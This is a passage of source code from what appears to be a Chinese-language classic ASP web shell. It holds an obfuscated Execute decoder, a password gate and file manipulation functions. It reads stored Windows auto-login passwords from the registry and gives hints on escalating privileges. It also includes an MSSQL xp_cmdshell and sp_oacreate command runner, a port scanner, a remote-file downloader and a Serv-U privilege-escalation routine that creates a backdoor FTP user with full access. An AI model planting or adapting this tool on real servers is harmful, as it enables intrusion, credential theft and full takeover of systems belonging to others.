    恭喜文件"&Path(0)&"复制成功!
    " +SI=SI&BackUrl +o SI +End If +End Function +Function MoveFile(Path) +Path=Split(Path,"||||") +If CF.FileExists(Path(0)) and Path(1)<>"" Then +CF.MoveFile Path(0),Path(1) +SI="



    恭喜文件"&Path(0)&"移动成功!
    " +SI=SI&BackUrl +o SI +End If +End Function +Function DelFolder(Path) +If CF.FolderExists(Path) Then +CF.DeleteFolder Path +SI="



    恭喜目录"&Path&"删除成功!
    " +SI=SI&BackUrl +o SI +End If +End Function +Function CopyFolder(Path) +Path=Split(Path,"||||") +If CF.FolderExists(Path(0)) and Path(1)<>"" Then +CF.CopyFolder Path(0),Path(1) +SI="



    恭喜目录"&Path(0)&"复制成功!
    " +SI=SI&BackUrl +o SI +End If +End Function +Function MoveFolder(Path) +Path=Split(Path,"||||") +If CF.FolderExists(Path(0)) and Path(1)<>"" Then +CF.MoveFolder Path(0),Path(1) +SI="



    恭喜目录"&Path(0)&"移动成功!
    " +SI=SI&BackUrl +o SI +End If +End Function +Function NewFolder(Path) +If Not CF.FolderExists(Path) and Path<>"" Then +CF.CreateFolder Path +SI="



    恭喜目录"&Path&"新建成功!
    " +SI=SI&BackUrl +o SI +End If +End Function +End Class +Execute(ny(x)) +Function ny(ed): For i = 1 To Len(ed) +If Mid(ed, i, 1) <> " " Then +If Asc(Mid(ed, i, 1)) < 32 Or Asc(Mid(ed, i, 1)) > 126 Then +Else:zx = Asc(Mid(ed, i, 1)) -b +If zx > 126 Then +zx = zx -95 +ElseIf zx < 32 Then: zx = zx + 95 +End If:t = t & Chr(zx):End If +Else:End If:Next:ny = t:End Function +'=========密码阶段========================= +If Session("webadministrators")<>UserPass Then +If Request.Form("LP")<>"" Then +If Request.Form("LP")=UserPass Then +Session("webadministrators")=UserPass +Cosnt E +response.redirect url +else +o"


    对不起,您输入的密码有误,系统不能让你登陆!
    " +end if +else +o "

    PassWord
    http://hi.baidu.com/r00ts

    " +end if +Response.write +response.end +end If +sub getTerminalInfo() +on error resume next +dim wsh +set wsh=createobject("Wscript.Shell") +o "【Detection Network】

    " +EnableTCPIPKey="HKLM\SYSTEM\currentControlSet\Services\Tcpip\Parameters\EnableSecurityFilters" +isEnable=Wsh.Regread(EnableTcpipKey) +If isEnable=0 or isEnable="" Then +Notcpipfilter=1 +End If +ApdKey="HKLM\SYSTEM\ControlSet001\Services\Tcpip\Linkage\Bind" +Apds=Wsh.RegRead(ApdKey) +If IsArray(Apds) Then +For i=LBound(Apds) To UBound(Apds)-1 +ApdB=Replace(Apds(i),"\Device\","") +o "网卡"&i&"的序列为:"&ApdB&"
    " +Path="HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Interfaces\" +IPKey=Path&ApdB&"\IPAddress" +IPaddr=Wsh.Regread(IPKey) +If IPaddr(0)<>"" Then +For j=Lbound(IPAddr) to Ubound(IPAddr) +o "8 IP地址"&j&"为:"&IPAddr(j)&"
    " +Next +Else +o "8 IP地址无法读取或没有设置
    " +End if +GateWayKey=Path&ApdB&"\DefaultGateway" +GateWay=Wsh.Regread(GateWayKey) +If isarray(GateWay) Then +For j=Lbound(Gateway) to Ubound(Gateway) +o "8 网关"&j&"为:"&Gateway(j)&"
    " +Next +Else +o "8 默认网关无法读取或没有设置
    " +End if +DNSKey=Path&ApdB&"\NameServer" +DNSstr=Wsh.RegRead(DNSKey) +If DNSstr<>"" Then +o "8 网卡DNS为:"&DNSstr&"
    " +Else +o "8 默认DNS无法读取或没有设置
    " +End If +if Notcpipfilter=1 Then +o "8 没有Tcp/IP筛选
    " +else +ETK="\TCPAllowedPorts" +EUK="\UDPAllowedPorts" +FullTCP=Path&ApdB&ETK +FullUDP=path&ApdB&EUK +tcpallow=Wsh.RegRead(FullTCP) +If tcpallow(0)="" or tcpallow(0)=0 Then +o "8 允许的TCP端口为:全部
    " +RRS SI +Else +o "8 允许的TCP端口为:" +For j = LBound(tcpallow) To UBound(tcpallow) +o tcpallow(j)&"," +Next +o "
    " +End if +udpallow=Wsh.RegRead(FullUDP) +If udpallow(0)="" or udpallow(0)=0 Then +o "8 允许的UDP端口为:全部
    " +Else +o "8 允许的UDP端口为:" +for j = LBound(udpallow) To UBound(udpallow) +o UDPallow(j)&"," +next +o "
    " +End if +End if +o "-----------------------------------------------------------
    " +Next +end if +o "

    【Detection Special Port】

    " +Telnetkey="HKEY_LOCAL_MACHINE\SOFTWARE\ Microsoft\TelnetServer\1.0\TelnetPort" +TlntPort=Wsh.RegRead(TelnetKey) +if TlntPort="" Then Tlnt="23(默认设置)" +o "8 Telnet端口:"&Tlntport&"
    " +TermKey="HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\Tds\tcp\PortNumber" +TermPort=Wsh.RegRead(TermKey) +If TermPort="" Then TermPort="无法读取.请确认是否为Windows Server版本主机" +o "8 Terminal Service端口为:"&TermPort&"
    " +pcAnywhereKey="HKEY_LOCAL_MACHINE\SOFTWARE\Symantec\pcAnywhere\CurrentVersion\System\TCPIPDataPort" +PAWPort=Wsh.RegRead(pcAnywhereKey) +If PAWPort="" then PAWPort="无法获取.请确认主机是否安装pcAnywhere" +o "8 PcAnywhere端口为:"&PAWPort&"
    " +o "------------------------------------------------------------
    " +Set wsX = Server.CreateObject("WScript.Shell") +Dim terminalPortPath, terminalPortKey, termPort +Dim autoLoginPath, autoLoginUserKey, autoLoginPassKey +Dim isAutoLoginEnable, autoLoginEnableKey, autoLoginUsername, autoLoginPassword +terminalPortPath = "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp\" +terminalPortKey = "PortNumber" +termPort = wsX.RegRead(terminalPortPath & terminalPortKey) +o"终端服务端口及自动登录
      " +If termPort = "" Or Err.Number <> 0 Then +o"无法得到终端服务端口, 请检查权限是否已经受到限制.
      " +Else +o"当前终端服务端口: " & termPort & "
      " +End If +autoLoginPath = "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\" +autoLoginEnableKey = "AutoAdminLogon" +autoLoginUserKey = "DefaultUserName" +autoLoginPassKey = "DefaultPassword" +isAutoLoginEnable = wsX.RegRead(autoLoginPath & autoLoginEnableKey) +If isAutoLoginEnable = 0 Then +Else +autoLoginUsername = wsX.RegRead(autoLoginPath & autoLoginUserKey) +o"自动登录的系统帐户: " & autoLoginUsername & "
      " +autoLoginPassword = wsX.RegRead(autoLoginPath & autoLoginPassKey) +If Err Then +Err.Clear +o"False" +End If +o"自动登录的帐户密码: " & autoLoginPassword & "
      " +End If +o"
    " +o "
    【Detection System Software】

    " +SoftPath=Wsh.Environment.item("Path") +Pathinfo=lcase(SoftPath) +o "系统软件支持:
    " +if Instr(Pathinfo,"perl") Then o "8 Perl脚本:支持
    " +if instr(Pathinfo,"java") Then o "8 Java脚本:支持
    " +if instr(Pathinfo,"microsoft sql server") Then o "8 MSSQL数据库服务:支持
    " +if instr(Pathinfo,"mysql") Then o "8 MySQL数据库服务:支持
    " +if instr(Pathinfo,"oracle") Then o "8 Oracle数据库服务:支持
    " +if instr(Pathinfo,"cfusionmx7") Then o "8 CFM服务器:支持
    " +if instr(Pathinfo,"pcanywhere") Then o "8 赛门铁克PcAnywhere控制:支持
    " +if instr(Pathinfo,"Kill") Then o "8 Kill杀毒软件:支持
    " +if instr(Pathinfo,"kav") Then o "
  • 金山系列杀毒软件:支持
    " +if instr(Pathinfo,"antivirus") Then o "8 赛门铁克杀毒软件:支持
    " +if instr(Pathinfo,"rising") Then o "8 瑞星系列杀毒软件:支持
    " +paths=split(SoftPath,";") +o "------------------------------------
    " +o "系统当前路径变量:
    " +For i=Lbound(paths) to Ubound(paths) +o "8 "&paths(i)&"
    " +next +o "

    【Detection System Setting】

    " +pcnamekey="HKLM\SYSTEM\CurrentControlSet\Control\ComputerName\ComputerName\ComputerName" +pcname=wsh.RegRead(pcnamekey) +if pcname="" Then pcname="无法读取主机名.
    " +o "8 当前主机名为:"&pcname&"
    " +AdminNameKey="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\AltDefaultUserName" +AdminName=wsh.RegRead(AdminNameKey) +if adminname="" Then AdminName="Administrator" +o "8 默认管理员用户名为:"&AdminName&"
    " +isAutologin="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\AutoAdminLogon" +Autologin=Wsh.RegRead(isAutologin) +if Autologin=0 or Autologin="" Then +o "8 用户自动登入:未启用
    " +Else +o "8 用户自动登入:启用
    " +Admin=Wsh.RegRead("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\DefaultUserName") +Passwd=Wsh.RegRead("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\DefaultPassword") +o "8 用户名:"&Admin&"
    " +o "8 密码:"&Passwd&"
    " +End if +displogin=wsh.regRead("HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System\DontDisplayLastUserName") +If displogin="" or displogin=0 Then disply="是" else disply="否" +o "8 是否显示上次登入用户:"&disply&"
    " +NTMLkey="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\TelnetServer\1.0\NTML" +ntml=Wsh.RegRead(NTMLkey) +if ntml="" Then Ntml=1 +o "8 Telnet Ntml设置为:"&ntml&"
    " +hk="HKLM\SYSTEM\ControlSet001\Services\Tcpip\Enum\Count" +kk=wsh.RegRead(hk) +o"8 当前活动网卡为:"&kk&"
    " +o "------------------------------------


    " +o "【Detection Server Vulnerability】

    " +Set objComputer = GetObject("WinNT://.") +Set sa = Server.CreateObject("Shell.Application") +objComputer.Filter = Array("Service") +On Error Resume Next +For Each objService In objComputer +if objService.Name="Serv-U" Then +if objService.ServiceAccountName="LocalSystem" Then +o "8 服务器中有Serv-U安装,且以LocalSystem权限启动,可以考虑用su.exe工具提权
    " +End if +End if +if lcase(objService.Name)="apache" Then +if objService.ServiceAccountName="LocalSystem" Then +If instr(Request.ServerVariables("SERVER_SOFTWARE"),"Apache") Then +o "8 当前WEB服务器为Apache.可以直接提权
    " +Else +o "8 服务器中有Apache服务存在,启动权限为LocalSystem,可以考虑PHP木马
    " +End if +end if +End if +if instr(lcase(objService.Name),"tomcat") Then +if objService.ServiceAccountName="LocalSystem" Then +o "8 服务器中有Tomcat,且以LocalSystem权限启动,可以考虑使用Jsp木马提权
    " +End if +End if +if instr(lcase(objService.Name),"winmail") Then +if objService.ServiceAccountName="LocalSystem" Then +o "8 服务器中有Magic Winmail,且以LocalSystem权限启动,可以查找WebMail目录,并且写入PHP木马
    " +End if +End if +Next +Set fso=Server.Createobject("Scripting.FileSystemObject") +Sysdrive=left(Fso.GetspecialFolder(2),2) +servername=wsh.RegRead("HKLM\SYSTEM\CurrentControlSet\Control\ComputerName\ComputerName\ComputerName") +If fso.FileExists(sysdriver&"\Documents And Settings\All Users\Application Data\Symantec\"&servername&".cif") Then +o "8 发现pcAnywhere密码文件,可以从默认目录下载并破解得到pcAnywhere密码" +End if +End Sub +sub ReadREG() +o "
    Read Regedit
    " +o"


    " +if Request("thePath")<>"" then +On Error Resume Next +Set wsX = Server.CreateObject("WScript.Shell") +thePath=Request("thePath") +theArray=wsX.RegRead(thePath) +If IsArray(theArray) Then +For i=0 To UBound(theArray) +o "
  • " & theArray(i) +Next +Else +o "
  • " & theArray +End If +end if +end sub +Function adminab() +Response.Expires=0 +on error resume next '查找Administrators组帐号 +Set tN=server.createObject("Wscript.Network") +Set objGroup=GetObject("WinNT://"&tN.ComputerName&"/Administrators,group") +For Each admin in objGroup.Members +o admin.Name&"
    " +Next +if err then +o "人品有问题:Wscript.Network" +end if +End Function +FuncTion mssql() +SI="
    MSSQL Commander
    Command: UserName: Password: 
    ":o SI:SI="":If trim(request.form("MMD"))<>"" Then:password= trim(Request.form("P")):id=trim(Request.form("U")):set adoConn=sERvEr.crEATeobjECT("ADODB.Connection"):adoConn.Open "Provider=SQLOLEDB.1;Password="&password&";User ID="&id:strQuery = "exec master.dbo.xp_cMdsHeLl '" & request.form("MMD") & "'":set recResult = adoConn.Execute(strQuery):If NOT recResult.EOF Then:Do While NOT recResult.EOF:strResult = strResult & chr(13) & recResult(0):recResult.MoveNext:Loop:End if:set recResult = Nothing:strResult = Replace(strResult," "," "):strResult = Replace(strResult,"<","<"):strResult = Replace(strResult,">",">"):strResult = Replace(strResult,chr(13),"
    "):End if:set adoConn = Nothing:o request.form("MMD") & "
    "& strResult:end FuncTion +sub ScanPort() +Server.ScriptTimeout=7776000 +if request.Form("port")="" then +PortList="21,1433,3389,43958,4899,3306,5631,5632" +else +PortList=request.Form("port") +end if +if request.Form("ip")="" then +IP="127.0.0.1" +else +IP=request.Form("ip") +end if +o"
    Port Scan
    Scan  IP:
    Port List:
    " +If request.Form("scan") <> "" Then +timer1=timer +o("扫描报告:

    ") +tmp=Split(request.Form("port"),",") +ip=Split(request.Form("ip"),",") +For hu=0 to Ubound(ip) +If InStr(ip(hu),"-")=0 Then +For i=0 To Ubound(tmp) +If Isnumeric(tmp(i)) Then +Call Scan(ip(hu), tmp(i)) +Else +seekx=InStr(tmp(i), "-") +If seekx > 0 Then +startN=Left(tmp(i), seekx - 1 ) +endN=Right(tmp(i), Len(tmp(i)) - seekx ) +If Isnumeric(startN) and Isnumeric(endN) Then +For j=startN To endN +Call Scan(ip(hu), j) +Next +Else +o(startN&" or "&endN&" is not number
    ") +End If +Else +o(tmp(i)&" is not number
    ") +End If +End If +Next +Else +ipStart=Mid(ip(hu),1,InStrRev(ip(hu),".")) +For xxx=Mid(ip(hu),InStrRev(ip(hu),".")+1,1) to Mid(ip(hu),InStr(ip(hu),"-")+1,Len(ip(hu))-InStr(ip(hu),"-")) +For i=0 To Ubound(tmp) +If Isnumeric(tmp(i)) Then +Call Scan(ipStart&xxx, tmp(i)) +Else +seekx=InStr(tmp(i), "-") +If seekx > 0 Then +startN=Left(tmp(i), seekx - 1 ) +endN=Right(tmp(i), Len(tmp(i)) - seekx ) +If Isnumeric(startN) and Isnumeric(endN) Then +For j=startN To endN +Call Scan(ipStart&xxx,j) +Next +Else +o(startN&" or "&endN&" is not number
    ") +End If +Else +o(tmp(i)&" is not number
    ") +End If +End If +Next +Next +End If +Next +timer2=timer +thetime=cstr(int(timer2-timer1)) +o"
    Process in "&thetime&" s" +END IF +end sub +Sub Scan(targetip, portNum) +On Error Resume Next +set conn=Server.CreateObject(Sot(5,0)) +connstr="Provider=SQLOLEDB.1;Data Source="&targetip &","& portNum &";User ID=lake2;Password=;" +conn.ConnectionTimeout=1 +conn.open connstr +If Err Then +If Err.number=-2147217843 or Err.number=-2147467259 Then +If InStr(Err.description, "(Connect()).") > 0 Then +o(targetip&":"&portNum&".........关闭
    ") +Else +o(targetip&":"&portNum&".........开放
    ") +End If +End If +End If +End Sub +Function upload() +response.write "下载到服务器:无回显...为了节省.所以无回显

    存在覆盖

    " +If isDebugMode = False Then +On Error Resume Next +End If +Dim Http, theUrl, thePath, stream, fileName, overWrite +theUrl = Request("theUrl") +thePath = Request("thePath") +overWrite = Request("overWrite") +Set stream = Server.CreateObject("adodb.stream") +Set Http = Server.CreateObject("MSXML2.XMLHTTP") +If overWrite <> 2 Then +overWrite = 1 +End If +Http.Open "GET", theUrl, False +Http.Send() +If Http.ReadyState <> 4 Then +End If +With stream +.Type = 1 +.Mode = 3 +.Open +.Write Http.ResponseBody +.Position = 0 +.SaveToFile thePath, overWrite +If Err.Number = 3004 Then +Err.Clear +fileName = Split(theUrl, "/")(UBound(Split(theUrl, "/"))) +If fileName = "" Then +fileName = "index.htm.txt" +End If +thePath = thePath & "\" & fileName +.SaveToFile thePath, overWrite +End If +.Close +End With +chkErr(Err) +Set Http = Nothing +Set Stream = Nothing +If isDebugMode = False Then +On Error Resume Next +End If +End Function +Select Case Action +Case "MainMenu":MainMenu() +case "ScanPort":ScanPort() +Case "getTerminalInfo":getTerminalInfo() +Case "PageAddToMdb":PageAddToMdb() +Case "Servu" +SUaction=request("SUaction") +if not isnumeric(SUaction) then response.end +user=trim(request("u")) +pass=trim(request("p")) +port=trim(request("port")) +cmd=trim(request("c")) +f=trim(request("f")) +if f="" then +f=gpath() +else +f=left(f,2) +end if +ftpport=65500 +timeout=3 +loginuser="User "&user&vbCrLf +loginpass="Pass "&pass&vbCrLf +deldomain="-DELETEDOMAIN"&vbCrLf&"-IP=0.0.0.0"&vbCrLf&" PortNo="&ftpport&vbCrLf +mt="SITE MAINTENANCE"&vbCrLf +newdomain="-SETDOMAIN"&vbCrLf&"-Domain=goldsun|0.0.0.0|"&ftpport&"|-1|1|0"&vbCrLf&"-TZOEnable=0"&vbCrLf&" TZOKey="&vbCrLf +newuser="-SETUSERSETUP"&vbCrLf&"-IP=0.0.0.0"&vbCrLf&"-PortNo="&ftpport&vbCrLf&"-User=go"&vbCrLf&"-Password=od"&vbCrLf&_ +"-HomeDir=c:\\"&vbCrLf&"-LoginMesFile="&vbCrLf&"-Disable=0"&vbCrLf&"-RelPaths=1"&vbCrLf&_ +"-NeedSecure=0"&vbCrLf&"-HideHidden=0"&vbCrLf&"-AlwaysAllowLogin=0"&vbCrLf&"-ChangePassword=0"&vbCrLf&_ +"-QuotaEnable=0"&vbCrLf&"-MaxUsersLoginPerIP=-1"&vbCrLf&"-SpeedLimitUp=0"&vbCrLf&"-SpeedLimitDown=0"&vbCrLf&_ +"-MaxNrUsers=-1"&vbCrLf&"-IdleTimeOut=600"&vbCrLf&"-SessionTimeOut=-1"&vbCrLf&"-Expire=0"&vbCrLf&"-RatioUp=1"&vbCrLf&_ +"-RatioDown=1"&vbCrLf&"-RatiosCredit=0"&vbCrLf&"-QuotaCurrent=0"&vbCrLf&"-QuotaMaximum=0"&vbCrLf&_ +"-Maintenance=System"&vbCrLf&"-PasswordType=Regular"&vbCrLf&"-Ratios=None"&vbCrLf&" Access=c:\\|RWAMELCDP"&vbCrLf +quit="QUIT"&vbCrLf +newuser=replace(newuser,"c:",f) +select case SUaction +case 1 +set a=Server.CreateObject(Sot(13,0)) +a.open "GET", "http://127.0.0.1:"&port&"/goldsun/upadmin/s1",True, "", "" +a.send loginuser&loginpass&mt&deldomain&newdomain&newuser&quit +set session("a")=a +o"
  • 8 Serv-U 提升权限 ASP版
    用户名:
    口 令:
    端 口:
    路 径:
    命 令:
     
    " +end select +function Gpath() +on error resume next +err.clear:set f=Server.CreateObject(Sot(0,0)) +if err.number>0 then:gpath="c:":exit function:end if:gpath=f.GetSpecialFolder(0):gpath=lcase(left(gpath,2)):set f=nothing +end function +Sub ScanDriveForm() '扫描磁盘信息 +Dim FSO,DriveB +Set FSO = Server.Createobject("Scripting.FileSystemObject") +o "" +o "
    " +For Each DriveB in FSO.Drives +o "" +o "" +o " " +o "" +o "" +Next +o "" +o "" +o "" +o "" +o "" +o "" +o "" +o "" +o "" +o "" +o "" +o "
    磁盘/系统文件夹信息
    盘符"&DriveB.DriveLetter&":类型" +Select Case DriveB.DriveType +Case 1: o "可移动" +Case 2: o "本地硬盘" +Case 3: o "网络磁盘" +Case 4: o "CD-ROM" +Case 5: o "RAM磁盘" +Case else: o "未知类型" +End Select +o "
    Windows文件夹"&FSO.GetSpecialFolder(0)&"
    System32文件夹"&FSO.GetSpecialFolder(1)&"
    系统临时文件夹"&FSO.GetSpecialFolder(2)&"

    当前网站绝对路径:"&Server.MapPath("/")&"
    Queries the specified folder:" +o " Example F:\haifan\
    " +Set FSO=Nothing +End Sub +Sub ScanDrive(Drive) +Dim FSO,TestDrive,BaseFolder,TempFolders,Temp_Str,D +If Drive <> "" Then +Set FSO = Server.Createobject("Scripting.FileSystemObject") +Set TestDrive = FSO.GetDrive(Drive) +If TestDrive.IsReady Then +Temp_Str = "
  • 磁盘分区类型:" & Red(TestDrive.FileSystem) & "
  • 磁盘序列号:" & Red(TestDrive.SerialNumber) & "
  • 磁盘共享名:" & Red(TestDrive.ShareName) & "
  • 磁盘总容量:" & Red(Int(TestDrive.TotalSize/1073741824)) & Red("GB") & "
  • 磁盘卷名:" & Red(TestDrive.VolumeName) & "
  • 磁盘根目录:" & ScReWr((Drive & ":\")) +Set BaseFolder = TestDrive.RootFolder +Set TempFolders = BaseFolder.SubFolders +For Each D in TempFolders +Temp_Str = Temp_Str & "
  • 文件夹:" & ScReWr(D) +Next +Set TempFolder = Nothing +Set BaseFolder = Nothing +Else +Temp_Str = Temp_Str & "
  • 磁盘根目录:" & Red("不可读:(") +Dim TempFolderList,t:t=0 +Temp_Str = Temp_Str & "
  • " & Red("穷举目录测试:") +TempFolderList = Array("windows","winnt","win","win2000","win98","web","winme","windows2000","asp","php","Tools","Documents and Settings","Program Files","Inetpub","ftp","wmpub","tftp","wwwroot") +For i = 0 to Ubound(TempFolderList) +If FSO.FolderExists(Drive & ":\" & TempFolderList(i)) Then +t = t+1 +Temp_Str = Temp_Str & "
  • 发现文件夹:" & ScReWr(Drive & ":\" & TempFolderList(i)) +End if +Next +If t=0 then Temp_Str = Temp_Str & "
  • 已穷举" & Drive & "盘根目录,但未有发现:(" +End if +Set TestDrive = Nothing +Set FSO = Nothing +Temp_Str = Temp_Str & "

    注意:不要多次刷新本页面,否则在只写文件夹会留下大量垃圾文件!" +Message Drive & ":磁盘信息",Temp_Str,1 +End if +End Sub +Sub ScFolder(folder) +Dim FSO,OFolder,TempFolder,Scmsg,S +Set FSO = Server.Createobject("Scripting.FileSystemObject") +If FSO.FolderExists(folder) Then +Set OFolder = FSO.GetFolder(folder) +Set TempFolders = OFolder.SubFolders +Scmsg = "
  • 指定文件夹根目录:" & ScReWr(folder) +For Each S in TempFolders +Scmsg = Scmsg&"
  • 文件夹:" & ScReWr(S) +Next +Set TempFolders = Nothing +Set OFolder = Nothing +Else +Scmsg = Scmsg & "
  • 文件夹:" & Red(folder & "不存在或无读权限!") +End if +Scmsg = Scmsg & "

    注意:不要多次刷新本页面,否则在只写文件夹会留下大量垃圾文件!" +Set FSO = Nothing +Message "文件夹信息",Scmsg,1 +End Sub +Function Sqlrootkit() +IF SESSION("LOGIN")="" THEN +RESPONSE.WRITE "
    没有登陆

    " +ELSE RESPONSE.WRITE "
    已经登陆

    " +END IF +RESPONSE.WRITE "
    退出登陆

    " +IF REQUEST("SQLAAA")="LOGIN" THEN +SET ADOCONN=SERVER.CREATEOBJECT("ADODB.CONNECTION") +ADOCONN.OPEN "PROVIDER=SQLOLEDB.1;DATA SOURCE=" & REQUEST.FORM("SERVER") & "," & REQUEST.FORM("PORT") & ";PASSWORD=" & REQUEST.FORM("PASS") & ";UID=" & REQUEST.FORM("NAME") +IF ERR.NUMBER=-2147467259 THEN +RESPONSE.WRITE "数据源连接错误,请检查!" +RESPONSE.END +ELSEIF ERR.NUMBER=-2147217843 THEN +RESPONSE.WRITE "用户名密码错误错误,请检查!" +RESPONSE.END +ELSEIF ERR.NUMBER=0 THEN +STRQUERY="SELECT @@VERSION" +SET RECRESULT = ADOCONN.EXECUTE(STRQUERY) +IF INSTR(RECRESULT(0),"NT 5.0") THEN +RESPONSE.WRITE "WINDOWS 2000系统
    " +SESSION("SYSTEM")="2000" +ELSEIF INSTR(RECRESULT(0),"NT 5.1") THEN +RESPONSE.WRITE "WINDOWS XP系统
    " +SESSION("SYSTEM")="XP" +ELSEIF INSTR(RECRESULT(0),"NT 5.2") THEN +RESPONSE.WRITE "WINDOWS 2003系统
    " +SESSION("SYSTEM")="2003" +ELSE +RESPONSE.WRITE "其他系统
    " +SESSION("SYSTEM")="NO" +END IF +STRQUERY="SELECT IS_SRVROLEMEMBER('SYSADMIN')" +SET RECRESULT = ADOCONN.EXECUTE(STRQUERY) +IF RECRESULT(0)=1 THEN +RESPONSE.WRITE "恭喜!SQL SERVER最高权限
    " +SESSION("PRI")=1 +ELSE +RESPONSE.WRITE "郁闷,权限不够估计不能执行命令!
    " +SESSION("PRI")=0 +END IF +SESSION("LOGIN")="YES" +SESSION("NAME")=REQUEST.FORM("NAME") +SESSION("PASS")=REQUEST.FORM("PASS") +SESSION("SERVER")=REQUEST.FORM("SERVER") +SESSION("PORT")=REQUEST.FORM("PORT") +END IF +ELSEIF REQUEST("SQLAAA")="TEST" THEN +IF SESSION("LOGIN")<>"" THEN +IF SESSION("SYSTEM")="2000" THEN +RESPONSE.WRITE "WINDOWS 2000系统
    " +ELSEIF SESSION("SYSTEM")="XP" THEN +RESPONSE.WRITE "WINDOWS XP系统
    " +ELSEIF SESSION("SYSTEM")="2003" THEN +RESPONSE.WRITE "WINDOWS 2003系统
    " +ELSE +RESPONSE.WRITE "其他操作系统
    " +END IF +IF SESSION("PRI")=1 THEN +RESPONSE.WRITE "恭喜!SQL SERVER最高权限
    " +ELSE +RESPONSE.WRITE "郁闷,权限不够估计不能执行命令!
    " +END IF +SET ADOCONN=SERVER.CREATEOBJECT("ADODB.CONNECTION") +ADOCONN.OPEN "PROVIDER=SQLOLEDB.1;DATA SOURCE=" & SESSION("SERVER") & "," & SESSION("PORT") & ";PASSWORD=" & SESSION("PASS") & ";UID=" & SESSION("NAME") +STRQUERY="SELECT COUNT(*) FROM MASTER.DBO.SYSOBJECTS WHERE XTYPE='X' AND NAME='XP_CMDSHELL'" +SET RECRESULT = ADOCONN.EXECUTE(STRQUERY) +IF RECRESULT(0) THEN +SESSION("XP_CMDSHELL")=1 +RESPONSE.WRITE "XP_CMDSHELL............. 存在!" +ELSE +SESSION("XP_CMDSHELL")=0 +RESPONSE.WRITE "XP_CMDSHELL............. 不存在!" +END IF +STRQUERY="SELECT COUNT(*) FROM MASTER.DBO.SYSOBJECTS WHERE XTYPE='X' AND NAME='SP_OACREATE'" +SET RECRESULT = ADOCONN.EXECUTE(STRQUERY) +IF RECRESULT(0) THEN +RESPONSE.WRITE "
    SP_OACREATE............. 存在!" +SESSION("SP_OACREATE")=1 +ELSE +RESPONSE.WRITE "
    SP_OACREATE............. 不存在!" +SESSION("SP_OACREATE")=0 +END IF +STRQUERY="SELECT COUNT(*) FROM MASTER.DBO.SYSOBJECTS WHERE XTYPE='X' AND NAME='XP_REGWRITE'" +SET RECRESULT = ADOCONN.EXECUTE(STRQUERY) +IF RECRESULT(0) THEN +RESPONSE.WRITE "
    XP_REGWRITE............. 存在!" +SESSION("XP_REGWRITE")=1 +ELSE +RESPONSE.WRITE "
    XP_REGWRITE............. 不存在!" +SESSION("XP_REGWRITE")=0 +END IF +STRQUERY="SELECT COUNT(*) FROM MASTER.DBO.SYSOBJECTS WHERE XTYPE='X' AND NAME='XP_SERVICECONTROL'" +SET RECRESULT = ADOCONN.EXECUTE(STRQUERY) +IF RECRESULT(0) THEN +RESPONSE.WRITE "
    XP_SERVICECONTROL 存在!" +SESSION("XP_SERVICECONTROL")=1 +ELSE +RESPONSE.WRITE "
    XP_SERVICECONTROL 不存在!" +SESSION("XP_SERVICECONTROL")=0 +END IF +ELSE +RESPONSE.WRITE "" +RESPONSE.WRITE "
    登陆超时" +RESPONSE.END +END IF +ELSEIF REQUEST("SQLAAA")="CMD" THEN +IF SESSION("LOGIN")<>"" THEN +IF SESSION("PRI")=1 THEN +IF REQUEST("TOOL")="XP_CMDSHELL" THEN +SET ADOCONN=SERVER.CREATEOBJECT("ADODB.CONNECTION") +ADOCONN.OPEN "PROVIDER=SQLOLEDB.1;DATA SOURCE=" & SESSION("SERVER") & "," & SESSION("PORT") & ";PASSWORD=" & SESSION("PASS") & ";UID=" & SESSION("NAME") +IF REQUEST.FORM("CMD")<>"" THEN +STRQUERY = "EXEC MASTER.DBO.XP_CMDSHELL '" & REQUEST.FORM("CMD") & "'" +SET RECRESULT = ADOCONN.EXECUTE(STRQUERY) +IF NOT RECRESULT.EOF THEN +DO WHILE NOT RECRESULT.EOF +STRRESULT = STRRESULT & CHR(13) & RECRESULT(0) +RECRESULT.MOVENEXT +LOOP +END IF +SET RECRESULT = NOTHING +RESPONSE.WRITE "" +END IF +ELSEIF REQUEST("TOOL")="SP_OACREATE" THEN +SET ADOCONN=SERVER.CREATEOBJECT("ADODB.CONNECTION") +ADOCONN.OPEN "PROVIDER=SQLOLEDB.1;DATA SOURCE=" & SESSION("SERVER") & "," & SESSION("PORT") & ";PASSWORD=" & SESSION("PASS") & ";UID=" & SESSION("NAME") +IF REQUEST.FORM("CMD")<>"" THEN +STRQUERY = "CREATE TABLE [JNC](RESULTTXT NVARCHAR(1024) NULL);USE MASTER DECLARE @O INT EXEC SP_OACREATE 'WSCRIPT.SHELL',@O OUT EXEC SP_OAMETHOD @O,'RUN',NULL,'CMD /C "&REQUEST("CMD")&" > 8617.TMP',0,TRUE;BULK INSERT [JNC] FROM '8617.TMP' WITH (KEEPNULLS);" +ADOCONN.EXECUTE(STRQUERY) +STRQUERY = "SELECT * FROM JNC" +SET RECRESULT = ADOCONN.EXECUTE(STRQUERY) +IF NOT RECRESULT.EOF THEN +DO WHILE NOT RECRESULT.EOF +STRRESULT = STRRESULT & CHR(13) & RECRESULT(0) +RECRESULT.MOVENEXT +LOOP +END IF +SET RECRESULT = NOTHING +RESPONSE.WRITE "" +STRQUERY = "DROP TABLE [JNC];DECLARE @O INT EXEC SP_OACREATE 'WSCRIPT.SHELL',@O OUT EXEC SP_OAMETHOD @O,'RUN',NULL,'CMD /C DEL 8617.TMP'" +ADOCONN.EXECUTE(STRQUERY) +END IF +ELSEIF REQUEST("TOOL")="XP_REGWRITE" THEN +IF SESSION("SYSTEM")="2000" THEN +PATH="C:\WINNT\SYSTEM32\IAS\IAS.MDB" +ELSE 